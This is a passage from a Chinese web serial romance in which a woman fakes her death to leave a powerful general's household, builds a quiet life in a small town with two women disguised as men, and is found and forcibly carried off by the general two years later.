“混账!” 老夫人气得浑身发抖,拐杖重重顿在地上, “你竟敢仗着烬儿对你的偏爱,这般放肆!不把楚家的血脉当回事,反倒偏护一个毫无血缘的养子,你可知罪?” 罗苒缓缓抬头,目光平静地迎上老夫人的怒火,铺垫了许久,终于缓缓道出自己藏在心底的真实想法, “罗苒知晓老夫人护着大爷的血脉心切,也明白老夫人的苦心,但如今现实情况便是如此。就算您执意要让崇儿做嫡子,以大爷说一不二的性子,怕是也难以改变,到头来,反倒会闹得楚家鸡犬不宁,也伤了大爷与您的祖孙情分。” 她顿了顿,故意放缓语气,轻声道, “除非……” “除非什么?” 老夫人急切地追问,她终究是疼楚烬,也怕事情闹到不可收拾的地步。 罗苒神色恭敬却语气坚定, “大爷虽是人中之龙,对我也真心实意,但并非罗苒真心所托之人。” “以老夫人的通透,想来已经看出了什么……可大爷偏执,强行将我留在身边,这般下去,终究不是长远之计。” “如今又事关大房正统血脉,闹得府中鸡犬不宁,若老夫人能开恩,让我带着衍哥儿离开楚府,往后再不相扰,一切便都能迎刃而解。” 她抬头,目光诚恳, “待大爷归来,一切尘埃落定,我与衍哥儿已然离去,刘氏之子便顺理成章成为大房嫡子,无人再与他争抢。” “往后,大爷也可另纳贤妻广置妾室,为楚家开枝散叶,延续血脉,老夫人也能了却一桩心事,这于楚家,于大爷,于我和衍哥儿,都是最好的结局。” 老夫人满脸错愕,眼底满是难以置信,不由追问道, “你竟有这般想法?这当真是你心底所求?” 她盯着罗苒,语气里带着几分不解和惋惜, “你可知,京中多少世家小姐,踏破门槛都想嫁进楚家,借着烬儿的身份一步登天,享尽荣华富贵,可你倒好,烬儿对你痴心一片,许你正室之位,你竟反倒想着离开?” 罗苒垂眸浅笑,神色坦然,没有半分犹豫, “老夫人,人各有志,不可强求,有人毕生追求的是物质富足高位尊荣,可罗苒所求的,从来都是心甘情愿的真情实意。” “大爷对我再好,这份情谊,终究是建立在蒙骗与强迫之上。这样的情谊,又怎能算得上是真情实意?” “我与大爷,本就性情不合心意不投,就算真的结为夫妻,日子也难有安稳,终究会以悲剧收场,倒不如从未开始,各自安好。” 老夫人沉默了,眉头紧紧拧起,神色依旧犹豫,语气里带着几分顾虑, “就算我放你离开,可烬儿性子执拗,他对你的心思你也清楚。等他从边关回来,若是得知你走了,定然会疯了一般四处寻你,到时候若是被他寻回,我岂不是平白遭他怨怼,也白费了这番安排?” 罗苒抬眼,有条不紊地说出自己早已盘算好的对策, “那便给他一个彻底死心的理由。” …… …… 三日后,天刚蒙蒙亮,楚府后门便驶出来一辆不起眼的青布马车。 罗苒身着素色布衣,端坐在马车之中,身旁的小玥同衍哥儿正凑在一起,摆弄着罗苒新做的布老虎。 清脆的咯咯笑声,透过车帘缝隙,飘落在清晨的风里。 罗苒掀开车帘一角,望着马车缓缓驶出楚府驶出城门,眼底没有半分留恋,只有一片释然。 一切,大体都按照她最初的预料,一步步推进,只是这场离开,比她预想的,多了一份额外的惊喜。 她也没想到竟然能带衍哥儿一起走。 早在之前她便无意间听说刘翠兰身边有个六七岁的孩童,找人暗中打听,竟发觉那个孩童,大概率也是楚烬的孩子。 察觉到这一点,一个计划便在她心中悄然成型。 她刻意趁着许佩兰摆摊之时,以祈福为由高调的招摇过市。 故意在许佩兰面前提及楚府的荣华,言语间满是挑衅,又暗示,楚老夫人最看重子嗣,只要能带着孩子认祖归宗,便能母凭子贵,彻底摆脱摆摊度日的苦日子。 许佩兰本就怨恨罗苒占了她的位置,又嫉妒罗苒能得到楚烬的青睐,被她这般一挑拨,心中的贪念与不甘瞬间被点燃。 果然没过多久,她便带着刘崇找上门来。 罗苒早已算准,老夫人素来看重楚家血脉,得知有刘崇这个“嫡孙”,定然会极力促成他认祖归宗。 而她,只需刻意摆出强硬姿态,不肯接纳刘崇,不肯妥协,便能成为老夫人眼中的绊脚石。 彼时楚烬正在边关出征,无暇顾及府中之事,正是她能悄无声息离开的最佳时机。 这一切,都是她一开始便盘算好的。 只是最初,她只打算带着小玥独自离开…… 衍哥儿终究是楚烬的养子,在楚府,他能养尊处优,有锦衣玉食,有专人照料,前途可期,远比跟着她颠沛流离前途未卜要好。 纵然心中万般舍不得,她也只能狠下心来。 可她万万没想到,许佩兰母子竟这般心狠手辣,刚进楚府,还未站稳脚跟,便将毒手伸向了年幼无辜的衍哥儿。 幸而那日她及时赶到,拼尽全力救回了衍哥儿,可那一刻,她也彻底慌了…… 若是她真的离开了,衍哥儿在楚府,又能依靠谁? 楚烬虽对衍哥儿真心实意,可他常年征战,政事繁忙。 老夫人虽慈悲为怀,可年事已高,精力有限,又满心都是楚家的血脉传承,对衍哥儿的关注,终究比不上亲生的刘崇。 第一卷 第87章 两不相欠,各自安好 许佩兰母子能害衍哥儿第一次,便定然会有第二次,往后衍哥儿在楚府,只会步步惊心,永无宁日。 万幸,那场溺水之事,也让老夫人看清了许佩兰对衍哥儿的蔑视与狠戾。 老夫人心中,也下意识做了取舍…… 比起一个毫无血缘的养子,她更看重的,是楚家的正统血脉。 所以,当她鼓起勇气,提出要带着衍哥儿一起离开时,老夫人虽有犹豫,却也没有过多坚持,终究是点了头。 罗苒轻轻放下车帘,望着马车外飞速倒退的景致,心底一片清明。 她终究是看透了,这深宅大院里,从来都没有真正的慈悲为怀,所有的温情与偏爱,不过都是利益权衡的结果。 楚家于她,从来都不是归宿,唯有带着衍哥儿和小玥,远离这纷争与算计,才能寻得真正的安稳。 而她心中也知道,今日去灵隐寺祈福,便是她与楚府与楚烬,最后的告别。 祈福结束后,她和小玥衍哥儿,便会彻底从这世间“消失”…… 那山崖之下,只会留下一辆因马匹受惊失控坠崖摔得粉碎的马车,和被野狼撕碎吃剩的布料残骨,除此之外再无其他痕迹。 这,便是她对老夫人所说,能让楚烬彻底死心的理由。 他常年在战场上征战,见惯生离死别,想来也很快会接受并忘却。 罗苒望着车窗外掠过的荒山野岭,心底一片平静。 回想之前过往种种。 那些因楚烬而产生的悸动,愤怒,心痛…… 都在这一刻,渐渐沉淀消散,最终化为一缕云烟,飘得无影无踪。 她与楚烬,终究是回归了各自的正轨。 那些过往的纠葛与牵绊,都随那辆即将坠崖的马车,一同埋葬在深山之中,从此,两不相欠,各自安好。 …… …… 帝都相邻的青溪镇。 一间干净雅致的小院里,矮墙爬着翠绿的藤蔓,墙角摆着几盆长势喜人的兰草,空气中飘着淡淡的墨香与草木气息。 罗苒身着一身素雅的粗布衣裙,长发简单挽成一个低髻,只簪了一支素银簪子,眉眼依旧温婉。 她端坐在院中的石桌旁,面前乖乖坐着十几个高高矮矮的年幼孩童。 小脸蛋儿仰得高高的,眼神专注,跟着她一字一句地念着《三字经》。 稚嫩清脆的声音在小院里回荡,伴着初夏的风,格外悦耳。 天色渐渐暗了下来,夕阳的余晖洒在小院里。 镇上的家长们陆续赶来接孩子,个个脸上带着笑意,远远地就朝着罗苒打招呼,语气亲切又敬重, “罗先生,今日辛苦啦!” “劳烦罗先生照看我家娃儿一天。” 罗苒笑着一一回应,起身帮孩子们理好歪掉的衣襟,偶尔还会和家长们闲聊几句,问问孩子在家的情况。 正说着,院门外传来两道轻快的脚步声,两个身姿略微单薄,但眉眼清俊的男子并肩走了进来。 邻里家长们见状,都熟络地纷纷开口招呼, “段大郎、段二郎回来啦!今日瞧着又是忙到这会儿?” 来人正是段离与段瑜兄弟二人,他们笑着同邻里打招呼,语气谦和有礼, “劳烦各位邻里挂心,今日确实忙了些。” 李大娘牵着自家小孙女的手,走上前笑着说道, “可得好好谢谢你兄弟俩!上次我们家娃儿染上风寒,一直咳嗽不止,药铺抓了好几副药都不管用,还是你们给配的药方,吃了两剂就彻底好了!” 段离不以为意地摆了摆手,爽朗一笑, “大娘客气了,邻里之间本就该互相帮助,前些日子我家娘子忙着照看蒙馆的孩子,忙不过来的时候,不也多亏了大娘常过来帮忙吗?” 罗苒送走最后一个学生,转身便看到归来的二人,嘴角不自觉扬起一抹浅笑,快步走了过来,伸出手,亲昵地帮段离理了理歪掉的衣领, “今日挺忙的吧?” 段离笑着回,“近来变季,染风寒的人多,药铺里确实忙些……” 一旁的李大娘看着二人这般亲昵的模样,忍不住打趣道, “你们小两口真是恩爱,郎才女貌,还带着两个这么乖巧的娃儿,真是羡煞我们这些旁人哟!” 说罢,她又转头看向一旁站着的段瑜,眼底带着几分热心, “对了段二郎,你年纪也不小了,咱们青溪镇不少姑娘家都倾慕你,模样周正性子也好,你也说说,想找个什么样的?要是有合适的,大娘给你好好留意,保准给你介绍个称心如意的!” 相较段离略显英气的小麦肤色,段瑜生得皮肤白皙,唇红齿白,眉眼清隽俊美,身姿挺拔,一看便是温润雅致的少年郎。 段瑜闻言,眸光微转,俏皮地朝罗苒眨了眨眼,唇角噙着几分打趣的笑意。 “大娘费心了,我没什么别的要求,就想找嫂嫂这样漂亮善良温柔能干的。” 段离则笑着补充, “你嫂嫂这样的,确实少有,怕是要劳烦大娘多费点心了。” “好说好说!” 李大娘笑得合不拢嘴,连忙应下, “这事包在大娘身上,保管给二找个不比罗先生差的好姑娘!” 说罢,便牵着小孙女,笑着与几人告辞离去。 “爹爹!小叔!” 院子角落的秋千旁,传来两道软糯可爱的呼喊声。 小玥和衍儿正从秋千上跳下来,小小的身影迈着小短腿,欢快地朝着段离兄弟二人小跑过来。 如今两个孩子正好三岁,一晃眼,早已不是当初那个懵懂无知的小奶娃。 反倒养得人小鬼大古灵精怪,嘴甜又懂事,平日里不管是在蒙馆,还是在邻里之间,都十分讨喜。 镇上的人见了,没有不喜欢这两个小家伙的。 段离和段瑜早已快步迎了上去,一人弯腰抱起一个小团子,动作轻柔又熟练。 段离抱着小玥,指尖轻轻捏了捏她软乎乎的脸颊,笑着逗道, “我们小玥和衍儿今日可乖?有没有调皮捣蛋,惹你们娘亲生气呀?” 一旁被段瑜抱着的衍儿,立刻伸出小胳膊紧紧搂着段瑜的脖子,奶声奶气地抢着回话, “衍儿乖,姐姐也乖!” 说着,又仰着小脸补充, “姐姐还帮娘亲,哄了院里哭鼻子的小弟弟小妹妹呢!” 第一卷 第88章 整日束着男装拘束得很 “哦?是吗?” 段瑜抱着怀里的小人儿眼底满是宠溺, “我们小玥可真厉害,衍儿也乖乖的,都是好孩子。” 罗苒站在一旁,看着眼前这温馨热闹的一幕,眼底漾着化不开的温柔,轻声开口道, “你们也累了一天了,别在院里站着了,先回屋吧,饭菜都已经备好了。” “好嘞!” 段离和段瑜齐声应着,语气里满是暖意。 段瑜忽然凑上前来,鼻尖嗅了嗅,笑着打趣, “嫂嫂,我猜你今日定然炖了我最爱的牛骨汤,我在院门口就闻到那股鲜香味儿了!” 罗苒被他逗得莞尔一笑,轻轻点了点他的额头,嗔道, “就你鼻子尖,什么都瞒不过你。” 段瑜笑得眉眼弯弯,抱着衍儿晃了晃。 一行人说说笑笑,缓缓走进屋内,屋内暖黄的灯光映着欢声笑语,满是烟火气的安稳与幸福。 夜幕彻底沉下,一家人用完晚餐,罗苒确认再无邻里往来,便上前闩好院门。 回到屋里,见段离、段瑜正陪着衍儿、小玥嬉闹,她开口道, “整日束着男装拘束得很,快换身宽松衣衫歇歇吧。” 段离抬手轻勾她的下巴,眉眼带笑打趣, “还是我娘子最体贴。” 罗苒浅浅一笑,早已习惯她这般随性爱逗趣的性子,嗔道, “跟你说过多少次,扮男装时收敛些性子,免得招惹得别家姑娘动心,回头还得我替你遮掩。” 段离咧嘴一笑,露出白亮的牙齿, “中原姑娘温柔和善,实在让人没法板着脸。” 二人转身回房,再出来时,一身利落男装已然换下,皆是身着宽松素色长衫。几缕发丝随意垂落,卸下刻意伪装,女子清丽温婉的本相展露无遗。 没人知晓,段离本名叫黎娜,段瑜本名叫姜采薇。 罗苒假死离开楚府的第三个月,机缘巧合下结识了她们。 彼时她打算做药材营生谋生,而黎娜和姜采薇正女扮男装,游走各地贩卖药材行医问诊。 二人身形高挑,性情爽朗豪迈,初时罗苒完全没看破她们女儿身。 直到偶然撞见她们被人追杀,罗苒出手相救,二人才对她放下戒备,坦白了来历。 她们二人是一同从北狄王庭逃出来。 恰逢那时,全国何处忽然大肆搜捕带着两名幼童的独身女子,罗苒隐约察觉到这搜捕是冲她而来。 许是假死的事让楚烬起了疑心。 三人同是避祸之人,就这样一拍即合。 黎娜与姜采薇继续以男装示人,兄弟相称,罗苒带着衍儿和小玥,与黎娜假扮夫妻,以此掩人耳目,在这座邻县小镇安稳落户。 往后两年,日子过得平静妥帖。 罗苒开了蒙馆,照看镇上劳作人家的幼童。 黎娜精通医术,姜采薇擅长配药,二人合开一间药庐,行医济世。 入夜,罗苒哄睡两个孩子,院墙外忽然传来一阵窸窸窣窣的翻墙动静,不用细想,便知是谁来了。 不多时,黎娜屋内骤然响起争执喧闹声,房门猛地被拉开,一道身影直接被人踹了出来,狼狈跌在院中。 罗苒见孩子睡得安稳,便起身出门查看。 那被踹出门的男子一见罗苒,瞬间眼睛发亮,如同见到救星般连声哀求, “罗娘,快帮我求求情!” 来人正是楚家二房的楚乘风。 几年不见,他眉眼添了几分成熟硬朗,却依旧改不了骨子里的轻浮散漫。 当年楚烬将他打发去南方打理二房产业磨练心性,终究没能磨去他的本性。 数月前,黎娜南下采买药材与楚乘风意外相识。 二人纠葛渐生,关系暧昧不清。 黎娜返乡后,楚乘风竟对她念念不忘,一路追随至此,偏偏撞上了隐居在此的罗苒。 罗苒至今还记得,楚乘风第一次深夜翻墙私会,猛然见到“早已坠崖身亡”的自己时,那副见鬼般惊恐的模样。 当年马车失控坠崖,世人皆以为她与两个孩子葬身崖底,尸骨被野狼啃噬殆尽,只剩零星残骨。 一个早已被认定亡故的人,骤然在深夜现身眼前,也难怪楚乘风当场惊惧失态。 罗苒同样满心意外,万万没料到,竟会在这避世的小镇里,再度遇上楚府之人。 好在楚乘风满心都系在黎娜身上,当即对她郑重起誓,定会严守秘密,绝不向任何人泄露她与孩子尚且在世的真相。 用楚乘风自己的话说,他本就对楚烬心存怨念。 当年被楚烬毫无缘由打发去南方打理产业,如今能瞒着他,替罗苒遮掩一二,也算是小小出了口恶气,暗自报复一回。 即便如此,罗苒心底依旧感念他这份为自己隐瞒的情分。 借着楚乘风的缘故,罗苒也听闻了不少关于楚烬的近况和过往。 据说当年楚烬从边关征战归来,得知她和两个孩子坠崖身亡的噩耗,受了极大的打击。 楚烬先以正妻,嫡子嫡女之礼,厚葬了罗苒与两个孩子的衣冠冢。 后来他又听闻暮秋宴上衍儿被刘崇故意推入湖中,险些溺亡的事。 震怒之下决意将刘翠兰母子发配到偏远庄子静养。 谁都清楚那偏远庄子的境况,名为静养,实则等同于终身囚禁,日子比发卖为奴还要难熬。 三太太钟氏连同老夫人亲自出面百般阻拦,甚至连三房老爷亲都出面从中调停劝说。 见府中人一味偏袒纵容刘氏母子,楚烬心灰意冷,索性直接搬出楚府,分家自立,独居将军府,再不掺和府中内务。 之后不知楚烬心绪郁结到了何种地步,竟变得偏执异常,下令在全国范围内大肆搜捕带着两个幼童的独身女子,固执地认定罗苒和孩子根本没有死。 棺木下葬多日,尸骨无存,他却一口咬定人尚在人世,旁人私下都只当他是痛失所爱,已然失了心智。 这般大规模搜寻持续了整整半年,恰逢边境再起战乱,楚烬奉命领兵出征,无暇再顾及寻人之事,这场举国搜寻的闹剧,才就此草草收场。 第一卷 第89章 楚家上下,没一个值得托付之人 而此次出征,楚烬率军苦战,彻底平定了动荡不安的东南边防,震慑四方部落。 边境数年之内,再无战乱隐患。 就在上个月,楚烬班师回朝。 皇帝龙颜大悦,下旨册封他为永安侯,赏赐黄金万两千顷良田,一时风光无两。 只是此番归来,楚烬再也没有了往日偏执寻人之举,性情愈发沉敛寡言,沉静漠然。 罗苒暗自忖度楚烬原本对自己也不是什么真情实爱。 当年他那般强势偏执,执意将她留在身边,不过是懒得再费心去结识旁人。 而自己恰好出现在他眼前,性子安分又合他心意,成了那个最省事合适的人选罢了。 最初那段疯魔般的搜寻,也并非是爱到刻骨。 大抵只是无法接受朝夕相伴已然习惯了存在的人,骤然间就那样离奇殒命,从他生命里彻底消失。 那是不甘,是执念,是难以释怀的落差,而非情深难断。 如今时隔两年,岁月磨平了波澜。 他封侯加身,权势在握,身边自不会缺倾心依附之人。 以往那份不甘与执念,想来也早已被时光冲淡。 楚乘风还在一旁死皮赖脸的对着罗苒央求。 罗苒抬眼望向门口的黎娜。 她只着一身单薄里衣,长发披肩,小麦色肌肤在夜色里泛着冷润光泽。 黎娜本是西戎公主,后来入北狄王庭为后。 这两个国家皆为游牧部族,天性桀骜刚烈。 此刻立在夜色里的她更是自带一股野性凌厉的锋芒气场。 罗苒无奈劝道, “你每次把他揍得大呼小叫,容易惊动邻里,要不干脆拉进屋里关门处置,别在外头吵闹,引得邻里起疑……” 顿了顿,她又缓和语气, “再或者我煮壶茶,你们都冷静下来,好好说几句话。” 不等黎娜应声,楚乘风连忙附和, “好好好,喝茶!我最爱喝茶了!” 黎娜冷嗤一声,上挑的凤眸泛着寒意, “想得倒美,还配喝我家的茶?” 她本就从罗苒口中知晓了她与楚烬的爱恨纠葛,再加上楚乘风屡次纠缠惹她厌烦,打心底里瞧不上楚家之人。 “楚家上下,没一个值得托付之人。” “我早跟你说得清清楚楚,不过是闲来消遣,你却痴心妄想,还想逼我回楚府做你的妾室?真当我们草原女儿,是任人摆布的物件?” “再敢半夜翻墙私闯我院落,下次我打断你的腿,趁早滚!” 黎娜语气凌厉,毫不留情地将楚乘风赶了出去。 罗苒望着楚乘风狼狈离去的背影,轻轻叹了口气,看向黎娜, “楚乘风往日虽风流随性,但此番对你,倒看得出是动了真心。” 黎娜满脸不屑,冷笑摇头, “真心?世间男人哪有什么真心可言?” “这个楚乘风最不是东西,之前甚至妄想胁迫于我让我妥协,我本就是亡命逃离之人,光脚不怕穿鞋的,岂会受他要挟?如今还好意思腆着脸来求和,简直他妈的可笑。” “又随口说粗话了。” 姜采薇缓步从屋内走出,女装的她依旧春红齿白,要比男装时清丽许多,性子温婉灵动,与火爆直率的黎娜截然相反。 她轻声嗔劝,“你总是不注意,家里还有两个孩童,别口无遮拦,也别带坏了阿苒。” 黎娜被姜采薇轻声一训,方才满身桀骜的气焰顿时蔫了下去,悻悻地闭了嘴。 罗苒见此情景忍不住莞尔,只觉得二人无论容貌还是性情,都截然相反,却偏偏能一路相伴结伴潜逃,实属难得。 北狄民风彪悍不比中原,又有楚烬这般骁勇大将常年镇守边境。 北狄向来以强者为尊,部落更迭频繁,即便是万人之上的单于,地位也并非稳固无忧,随时有可能被取而代之。 再加之上草原气候严酷风雪无常,猛兽横行,她们能从那样凶险蛮荒的地方一路逃到中原,其间历经的艰难险阻,可想而知。 朝夕相处这么久,罗苒早已摸清了二人的身世来历。 黎娜本是西戎身份尊贵的公主,性子泼辣豪爽嫁入北狄王庭后,成为单于耶律长云的大阏氏,地位等同中原皇后。 而姜采薇原是她们大興国和北狄相交边境县令之女,性情温婉内敛。 其父为安抚北狄单于耶律长云,不惜将女儿送入王庭,被封为左居次,位份等同于中原的妃嫔。 谁也想不到,堂堂北狄大阏氏,入主王庭不到两年,竟把单于身边最宠爱的左居次拐走。 这般惊世之举,放眼北狄与中原,都是前所未闻,无人能及。 虽然罗苒至今仍不清楚,她们当初在北狄究竟经历了何等变故,才甘愿舍弃王庭荣华冒着性命危险出逃中原。 但朝夕相处这么久,她早已深知二人品性磊落,是完全可以交心托付全然信任的人。 一入春日,气温回暖,天光日渐悠长。 转眼便到了帝都一年一度的花朝节。 帝都花朝灯会素来盛大热闹,就连毗邻帝都的青溪镇百姓,也会特意前去凑热闹。 只是前些年因游人过多,屡屡发生拥挤踩踏孩童走失的事端,后来为安全起见,帝都便立下规矩:花朝节期间,十岁以下孩童若无大人陪同正事,一律不得入城。 花朝节当日,罗苒在蒙馆教孩子们吟诵花灯诗词。 这些孩子生在乡野郊区,年纪尚幼,只听闻帝都花朝盛会举世繁华,却从未亲眼见过。 有好奇的孩童仰着小脸问道, “罗先生可曾去过灯会?传说中的灯会,是否真有那般热闹好看?” 这话瞬间勾起了罗苒尘封的回忆,她眼底泛起一抹浅淡笑意,轻声回道, “我去过。” “不仅去过,当年我还拿下过灯会花灯的头奖。” 一众孩童顿时惊得瞪大圆溜溜的眼睛,清澈眸子里满是崇拜,叽叽喳喳惊呼, “哇,真的吗?罗先生好厉害!” 罗苒望着孩子们天真的模样,思绪却飘回往昔。 想起当年那盏亲手摘得的头奖花灯,也不由自主忆起那晚灯火阑珊下,男人俊朗深邃的眉眼轮廓。 平心而论,楚烬待她着实照拂良多。 若是没有楚府收留,她和小玥可能早就饿死街头。 纵然对于当面楚烬的欺骗和强迫她满心不甘和抗拒,却终究无法真正去埋怨厌恨他。 第一卷 第90章 放开你?让你再有机会假死逃走? “先生?” 孩童清脆的呼唤将罗苒从失神中拉回现实。 孩子们依旧围着她,不停追问灯会的趣事,好奇城里的花灯是不是格外精致,和小镇上那些粗陋纸糊的花灯全然不同。 看着孩子们满眼向往好奇的模样,罗苒心软应允,夜里便去帝都灯会,给每人带回一盏花灯。 夜幕降临,姜采薇留在家中照看小玥与衍儿,罗苒便同一身男子装束的黎娜一同往帝都而去。 花朝盛会期间的帝都城内人声鼎沸,街道上车水马龙,灯火绵延十里,一派繁华盛景。 二人很快来到灯会主场,依旧如往年一般热闹喧嚣。 黎娜身为西戎人,从未见过中原这般花灯盛会,看什么都觉得新鲜稀奇,拉着罗苒东逛西看,兴致盎然。 两人闲逛许久,零零碎碎买了满满一筐小玩意儿,正准备去给孩子们挑选花灯,忽然看见四面八方的人流都朝着同一个方向涌去。 “阿苒,大家都往那边挤什么呢?难道有什么好吃的?” 黎娜一脸兴奋地问道。 罗苒顺着人流望去,远远看见高处层层叠叠架起的巨型灯架,缓缓解释, “这是灯会最重头的重头戏。” “那最高处悬挂的花灯,便是本届灯会的头奖。据说那花灯早已在护国寺开过光,谁能摘得,便能一整年顺遂安康福气加身。” 罗苒凝望着那盏高悬夜空,华美璀璨的顶级花灯,耐心给黎娜解说,心底却莫名有些神思恍惚。 “那我们快去凑凑热闹!” 黎娜全然顾不上身上挂满的零碎物件,不由分说拉着罗苒就往人群里挤。 “阿苒你在这儿等着我,我去把那盏最高的头奖花灯摘下来!” 说着便撸起衣袖,兴致勃勃往前挤去。 罗苒驻足仰头,望着夜空下挂满的各色花灯,流光璀璨,灯火映得人间恍如白昼。 忽然,一道极具压迫感的视线骤然扫来。 罗苒心头一紧,抬眸望去,竟直直撞进一双深邃凛冽似能洞穿人心的黑眸里。 她慌忙低头避开视线,心口突突狂跳,心底满是惊惶慌乱。 怎么会这么巧? 整整两年未见,竟会在这人潮汹涌灯火纷乱的灯会之中遇上他? 以楚烬如今的身份地位,本该身居侯府忙于朝堂军务,怎会闲来无事逛灯会? 罗苒强定心神,鼓起勇气再次抬眼,那道视线却已消失无踪,周遭只剩涌动的人流与璀璨灯火。 她稍稍松了口气,暗自宽慰自己。 定然是方才望着花灯触景生情,脑中不自觉想起那人,才生出了错觉。 就算方才真的是他,隔着人山人海,光影交错,时隔两年,他未必还能记得清她的容貌身形。 另一边,黎娜依旧劲头十足,还在人群里奋力争抢那盏头奖花灯,一时半会儿根本抽身不得。 罗苒看她一时难以结束,又嫌前方太过拥挤嘈杂,便想着退到僻静人少的巷口等候。 谁知刚拐进一条昏暗暗巷,一只滚烫有力的大手骤然伸出,紧紧攥住她的手腕,力道大得不容挣脱,顺势将她一把拽进巷中。 罗苒惊得险些失声尖叫,下一瞬,温热的掌心牢牢捂住她的唇,将所有惊呼尽数堵在喉间。 后背骤然贴上冰冷坚硬的墙面,一缕熟悉清冽的冷香扑面而来。 她猛地抬眸,撞进眼底的,正是方才那一双深邃迫人的眼眸。 时隔两年,再度狭路相逢。 罗苒惊得瞳孔骤缩,浑身瞬间僵在原地,手足冰凉。 楚烬的眸子比往昔更加深沉难测,眼底翻涌着慑人的冷意和锋芒。 目光一寸寸细细描摹面前女人的眉眼容颜。 罗苒仅仅被他这般目光锁住,便仿佛整个人都要被他吞噬殆尽。 慌乱伸手去推,可他身形稳如磐石,分毫不动。 捂住她唇的手掌稍稍挪开,不知是惊惧还是心慌,罗苒脸色煞白,呼吸紊乱。 楚烬薄唇轻启,嗓音低沉沙哑,带着压抑至极的沉冷, “你果然没死。” 低沉的嗓音贴着耳畔震开,带着阵阵麻意,罗苒后背汗毛瞬间竖起。 他冷冽的眼底,似还藏着一簇隐忍未熄的暗火。 其实罗苒从前也设想过无数次与楚烬偶遇的场面。 当年她带着孩子假死离府,老夫人为稳妥起见,早已暗中替她办好了全新户籍身份,改名换姓。 她原本盘算,真若偶遇,只需咬死不认,凭着容貌时隔两年的细微变化,大可以被当作身形相似的普通人,就此蒙混过关。 可此刻对上楚烬那双洞悉一切的眼眸,她心里清楚,再怎么矢口否认,也根本瞒不过他。 巷外人声络绎不绝,灯火喧嚣。 楚烬滚烫结实的身躯紧紧贴着她,压迫感铺天盖地袭来。 罗苒喉头干涩发紧,强压下心慌,颤声开口, “你……你先放开我。” 楚烬唇角勾起一抹极淡又带着几分凉薄的轻笑, “放开你?让你再有机会,再次悄无声息假死逃走?” 罗苒一时失语,箍在她手腕上的那只大手反倒又收紧了几分。 楚烬全然不顾她惊慌无助的挣扎,径直拽着她往灯会外走去。 罗苒被他拉得身形踉跄,脚步跌跌撞撞,只能被动地顺着他的力道往前挪。 周遭依旧人声鼎沸,花灯流光溢彩。 街巷间人流簇拥喧嚣不绝,光景竟和三年前二人同游花朝灯会时相差无几。 依旧是满城灯火,依旧是人潮涌动,可彼此的心境早已天差地别。 当年的她眉眼含羞,心底藏着隐隐悸动。 如今只剩满心抗拒,浑身紧绷,眼底翻涌着止不住的惶恐不安。 楚烬步履沉稳,周身凛冽迫人的气场自然而然隔开拥挤的人群,攥着她手腕的力道分毫未松,半点也不在意她徒劳的挣扎。 走到灯会外伫立的骑马旁,楚烬长腿阔步上前,不等罗苒有半分反应,一把扣住她的腰肢,力道强硬蛮横将她整个人横抱而起。 罗苒吓得低呼一声,身子瞬间悬空,脑子还没回过神,已然被楚烬稳稳带上马背。 第一卷 第91章 锁骨红痣 后背紧紧贴住他宽阔灼热的胸膛,男人身上凛冽的冷香混着淡淡的风尘气息随即将她整个笼住。 骏马一声长嘶,随即扬蹄疾驰而去。 一路奔行颠簸,楚烬臂膀收得极紧,罗苒整个人被牢牢禁锢在他怀中,半分动弹不得。 她下意识挣动了一下,身后的楚烬不满低头,薄唇擦过她耳廓,牙齿带着几分戾气,不轻不重在她软嫩耳垂上狠咬了上去。 力道拿捏得恰好,不破皮肉,却带着刺麻的疼意。 “嘶……” 罗苒忍不住倒吸一口凉气。 楚烬胸膛随着呼吸微微起伏,嗓音沉哑低压,气息温热喷洒在她耳畔, “本侯这汗血宝马,身形高壮,马蹄硕大有力。你若不安分些,一旦失足跌落,被马蹄踏中,只怕凶多吉少……” “我尚未追究你潜逃欺瞒之罪,你倒急着要将性命葬送在马蹄下了?” 被他这番冷厉震慑,罗苒浑身发僵,果然不敢再乱动,只能拘谨地窝在他怀里。 骏马一路疾驰,罗苒望着飞速向后倒退的街巷灯火,心底满是慌乱局促。 她原以为自己不过是楚烬生命里的一个过客。 两年时光,足以让他彻底放下过往。 可看他此刻周身戾气沉沉眼神偏执冷沉的模样,分明半点都不想轻易放过自己的样子。 想来也是…… 他骨子里高傲强势,定然咽不下被一个女子蒙骗玩弄于股掌的屈辱。 所以他又究竟打算如何处置自己? 是将她长久幽禁在牢狱之中,还是动用他惯用的惩戒鞭刑? 更甚者,会不会悄无声息让她从这世间彻底消失? 方才事发突然,只剩震惊茫然,此刻静下心细细思量,心底才生出真切的惶恐。 倘若自己真的出事,年幼的小玥和衍儿,往后又该依靠何人? 念及此处,罗苒心中越发惶惶无措,眼眶也不自觉迅速泛红。 不多时,马蹄声歇,稳稳停在侯府门前。 楚烬率先翻身下马,不等僵硬的坐在马背上的罗苒闪躲退缩,大手直接扣住她手腕,一把将她拽下,顺势扛在肩头。 任由罗苒在肩头挣扎抵抗,脚步半点不停,大步朝府内走去。 穿过曲折回廊与清幽院落,他步履未停,径直将她带进一间雅致卧房。 床榻柔软厚实,但罗苒被扔上时却彻底慌了神。 手忙脚乱的要从榻上爬起,男人高大身躯却依然俯压下来。 周身清冽冷寂的气息将她尽数笼罩,那张熟悉的脸近在咫尺。 两年风霜磨洗,楚烬依旧俊逸非凡,只是身形比往日清瘦些许,却依旧挺拔高大体魄强健不减分毫。 眼下覆着浓重乌青,眉宇间染上几分化不开的阴郁沉郁,整个人凌厉逼人,气势更胜从前。 此时那深邃眼眸沉沉锁住罗苒慌乱泛红的眉眼,压迫感铺天盖地,让人无处可逃。 不给罗苒任何抵抗的机会,楚烬骨节分明的大手直接探上前,带着不容抗拒的强势。 罗苒衣衫突然被扯,又羞又俱,全身颤抖着竭力抵挡, “不,不要……” 可她的抵抗毫无用处。 衣襟缓缓散开,露出莹白细腻的肌肤与优美纤巧的锁骨。 楚烬眸光一沉,视线牢牢定格在她锁骨处那颗小巧的红痣上。 红痣虽小,色泽却明艳,点缀在雪白细腻的肌肤上,宛如白雪落了一点胭脂,格外惹眼。 他指尖缓缓落下,指腹带着微凉粗粝,轻轻摩挲抚上那处。 触感温热细嫩,旧日记忆瞬间翻涌心头。 他清清楚楚记得,从前也曾俯身在此处,细细轻咬温柔亲吻。 这两年间,朝野上下侯府内外甚至敌国番邦,人人都知晓他为一位“亡故”的女子疯魔癫狂。 不少有心之人打探到她的容貌身形,刻意寻来气质样貌相似的女子送入侯府,甚至有人刻意模仿装扮,妄图以假乱真。 可此刻指尖相触眉眼相对,如今他终于确认,眼前人果真就是他的苒娘。 他死死盯着罗苒的脸,胸膛剧烈起伏,高大健硕的身躯竟克制不住微微轻颤。 他的苒娘,还和记忆里一模一样。 